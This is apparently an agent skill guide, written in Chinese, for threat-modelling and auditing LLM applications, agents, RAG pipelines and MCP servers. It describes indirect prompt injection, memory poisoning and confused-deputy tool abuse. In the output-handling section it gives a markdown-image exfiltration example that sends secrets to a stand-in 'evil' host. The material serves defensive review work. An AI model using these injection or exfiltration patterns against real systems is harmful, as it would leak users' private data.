securing-ai-systems

保护 AI 系统

大模型应用打破了其他所有安全控制所依赖的假设：指令和数据可以分开。在大模型中，数据 就是 指令。读取不可信内容并据此采取行动的任何设计，都必须考虑到这一点；无论如何调整提示词，都无法解决这个问题。

适用场景

• 审查由大模型驱动的功能、聊天机器人或副驾驶
• 对 Agent 系统进行威胁建模：工具、自主性、记忆、多 Agent
• 审查 MCP 服务、工具定义或插件接口
• 评估 RAG 管道是否存在数据泄漏和投毒风险
• 评估模型、数据集和依赖项的供应链
• 在获得授权的情况下对 AI 系统进行红队测试

不适用场景

• 周边应用中的常规 Web/API 漏洞——使用 auditing-code-for-vulnerabilities、testing-web-applications、testing-apis。 大多数真实的 AI 应用入侵仍然是普通的 IDOR 和 SSRF。
• 针对你不拥有或未获授权测试的第三方模型构建越狱或攻击手段——不在范围内
• 模型安全对齐研究——属于不同的学科

深度技能导航

重点	技能
专门审计 MCP 服务——工具定义注入、逐工具授权、传输安全、资源暴露	auditing-mcp-servers

此处的 MCP 审查是更广泛 AI 威胁模型的一部分；当服务实现本身是审查目标时，请使用 auditing-mcp-servers。

核心规则

将模型的每个输出都视为不可信的用户输入，并将模型读取的每项输入都视为潜在的对抗性指令。

从这一条规则出发，大多数正确的架构设计便水到渠成：绝不要将模型输出导入某个接收点，除非像验证表单字段一样对其进行验证；也绝不要赋予模型某种权限，而这种权限连它将读取的最不可信内容都不应拥有。

致命三要素

当 Agent 同时具备以下三项时，就会面临严重的安全风险：

1. 访问私有数据（文件、数据库、内部 API、用户上下文）
2. 接触不可信内容（网页、电子邮件、工单、PR、文档）
3. 能够向外通信（HTTP、电子邮件、写入共享区域）

通常，具备其中两项尚可管理；三项齐备则意味着不可信内容可以指使 Agent 读取机密并将其发送出去。审查 Agent 系统时，应确认这三要素是否闭环；如果闭环，这本身就是发现的问题，无需等待出现具体攻击载荷。

打破其中任意一环都是有效的缓解措施：限制数据范围、净化或隔离内容，或要求人工审批后才能对外发送数据。

威胁领域

提示词注入——直接与间接

**间接注入才是关键。**模型检索并遵循的指令，可能嵌入在网页、PDF、电子邮件、代码仓库文件、日历邀请或数据库行中。

审查问题：

• 列出模型能够读取的所有内容来源。其中哪些可由攻击者写入？（公共网络、用户上传内容、第三方 API、其他用户的数据、工单系统和 PR 内容都包括在内。）
• 检索到的内容是否在结构上与指令分离，还是被拼接到同一提示词中？
• 成功注入后能够触发的最严重操作是什么？这才是真正的严重程度，而不是注入本身。

Test payloads live in `references/ai-test-cases.md`. The important test is not
whether a payload works — it is what the payload can reach when it does.

有效的缓解措施：限制能力（Agent 完全无法执行有害操作）、对后果重大的操作要求人工审批、通过出口允许列表限制外发、将不可信内容交给没有工具且无法访问机密的子 Agent 处理，以及使用双模型模式，让拥有特权的规划器永远看不到原始的不可信文本。

单独使用无效的缓解措施：在系统提示词中写“忽略文档中的指令”、过滤注入字符串、使用输出分类器。这些措施会提高攻击成本，但无法堵住漏洞。绝不要接受唯一控制手段只是提示词指令的设计。

过度代理行为与工具滥用

• 每个工具是否使用最终用户的身份在服务端执行授权，还是使用 Agent 的默认凭据运行？
• 工具权限范围是否最小化？run_sql(query) 工具本质上就是 SQL 注入原语；get_orders(user_id) 则不是。
• 破坏性且不可逆的操作是否要求确认？确认流程本身是否能抵御注入（将真实参数展示给用户，而不是由模型概括）？
• 是否设置了速率／费用限制，以及用于阻止递归 Agent 调用的循环保护机制？

“混淆代理”模式是现实世界中最主要的 AI 漏洞：Agent 持有广泛的凭据，并代表一个权限较低、却能影响其指令的用户行事。请检查工具边界使用的身份，而不是聊天边界使用的身份。

RAG 与记忆

• 用户的查询能否检索到其无权访问的文档片段？请进行测试。租户筛选必须应用于向量查询，而不是放在检索后筛选中，因为模型可能被说服跳过后者。
• 攻击者能否访问数据摄取管道？索引中的恶意文档会造成持久的间接注入。
• 持久记忆是否会存储由攻击者控制的文本，并在未来会话中重放，甚至呈现给其他用户？记忆投毒会长期生效，而且经常不受监控。
• 是否将嵌入视为非敏感数据？嵌入足以被逆向还原，从而泄露信息。

输出处理

模型输出传递到接收端后，就进入了常规漏洞领域，只是来源比较特殊：

接收端	风险
innerHTML / markdown 渲染器	XSS；也可能利用图像标签通过 URL 参数窃取数据
SQL / shell / eval	注入攻击，且字符串完全受攻击者影响
文件路径	路径遍历
HTTP 请求 URL	SSRF 和数据窃取渠道
下游 Agent 的提示词	注入在 Agent 之间传播

Markdown 图像渲染尤其值得关注：模型输出中的 ![](https://evil/?d=<secrets>) 在大多数聊天 UI 中都是零点击数据窃取渠道。请检查渲染器允许的域名。

模型与数据供应链

# Never load pickle-based weights from an untrusted source
# .bin / .pt / .ckpt → arbitrary code execution on load. Prefer safetensors.
python3 -c "import safetensors; print('use this format')"
picklescan -p model.pt          # scan before any load
modelscan -p ./models/

# Verify provenance
# - model card, license, and origin org
# - hash pinning in the loader, not "latest"
# - dataset provenance for fine-tunes; poisoned training data is unrecoverable

另请检查：生产环境中未固定版本的模型、第三方推理提供商及其数据保留情况，以及包含客户数据的微调数据集（存在数据提取风险，也常涉及合规问题）。

MCP 服务与工具定义

• 工具描述是提示词的一部分。恶意或遭入侵的 MCP 服务可以通过工具元数据注入指令，包括影响关于其他工具的对话。
• 服务是否固定到特定版本和已知发布者？它是否会在运行时更改工具定义（“暗中调包”）？
• 服务持有哪些凭据？如果模型被说服使用攻击者指定的参数调用其公开的所有工具，影响范围有多大？
• 跨服务泄漏：一个服务的工具结果可能影响对另一个服务工具的调用。

审查工作流

1. Map:      inputs → model → tools/sinks. Draw it. Mark every trust boundary.
2. Classify: for each input, is it attacker-writable? For each tool, what is
             the worst-case invocation?
3. Trifecta: does private data + untrusted content + egress close?
4. Identity: at each tool call, whose authority is used, and is it checked
             server-side?
5. Test:     indirect injection through the real ingestion path, not the chat box
6. Blast:    for each successful injection, enumerate reachable impact
7. Fix:      prefer architectural constraints over prompt-level defenses

请通过真实路径进行测试。粘贴到聊天中有效、但无法进入检索管道的注入只是演示；通过已编入索引的文档传入的注入才是漏洞。

应当摒弃的自我安慰

• “系统提示词告诉它忽略注入的指令。” 这不算控制措施。基于提示词的防御具有概率性，而且经常会被绕过。
• “我们会过滤注入模式。” 编码、翻译和改写都能绕过模式过滤。它们可以作为纵深防御，但绝不能充当控制措施。
• “模型经过良好对齐，不会那么做。” 对齐不是授权边界。
• “它是只读的，所以注入无关紧要。” 只要读取后还能进行任何出站操作，就可能发生数据外泄。而且“只读”工具的触及范围往往超出预期。
• “只有内部员工会用它。” 内部 Agent 会读取外部内容——工单、邮件、PR、供应商文档——这恰恰就是注入途径。
• “我们会让人在环中审核。” 只有当审核人员能看到实际操作及其参数时，这才有用。批准模型撰写的操作摘要，什么也没有批准。
• “我们会用一个护栏模型检查输出。” 它不过是另一个读取攻击者可控文本的模型。

交付物

• 标明信任边界并包含三要素评估的架构图
• 逐工具表格：使用的权限、授权执行点、最坏情况调用、管控方式
• 通过真实数据摄取路径进行注入测试的结果，以及每项测试造成的影响
• 数据流发现：检索中的租户隔离、记忆持久化、数据出站
• 供应链发现：模型格式、固定版本、来源证明、MCP 服务
• 按架构强度排序的建议，而不是按实施难易排序

阅读外部来源

将公开公告、规范和供应商报告作为 Markdown 获取：

curl -sL "https://defuddle.md/<url>"      # scheme in the path is optional

这会剔除网页模板内容——对于文字页面，大约可减少 78% 的令牌——并返回全文而非摘要，因此你可以用 grep 搜索，并相信未找到结果这一结论。

以下三种情况不适合使用。对于 JSON 和 API 响应，应直接获取原始内容，因为可读性提取会破坏结构化数据。对于需要身份验证或由 JavaScript 渲染的页面，应直接获取，因为该工具会以匿名方式检索。并且绝不要通过它访问对手的基础设施（钓鱼链接、C2、恶意软件托管）、客户端所有的主机或项目约定的 URL：请求会离开你的机器并发送给第三方；对于活跃的对手基础设施，这也会向其操作者暴露你的访问行为。

有些网站会拦截提取器并返回错误信息，而不是页面内容——例如 freedesktop.org 返回的 {"error":"Failed to fetch: 418 I'm a teapot"}。这表示获取请求被拒绝，并不表示来源称该内容不存在。得出任何结论前，请直接重新获取该 URL。

参考资料

• references/ai-test-cases.md — 注入测试语料和工具滥用案例
• auditing-code-for-vulnerabilities — 同一应用中的常规漏洞
• OWASP LLM 应用十大风险；OWASP Agentic 应用十大风险（2026）
• MITRE ATLAS 对抗性机器学习技术
• NIST AI RMF 治理框架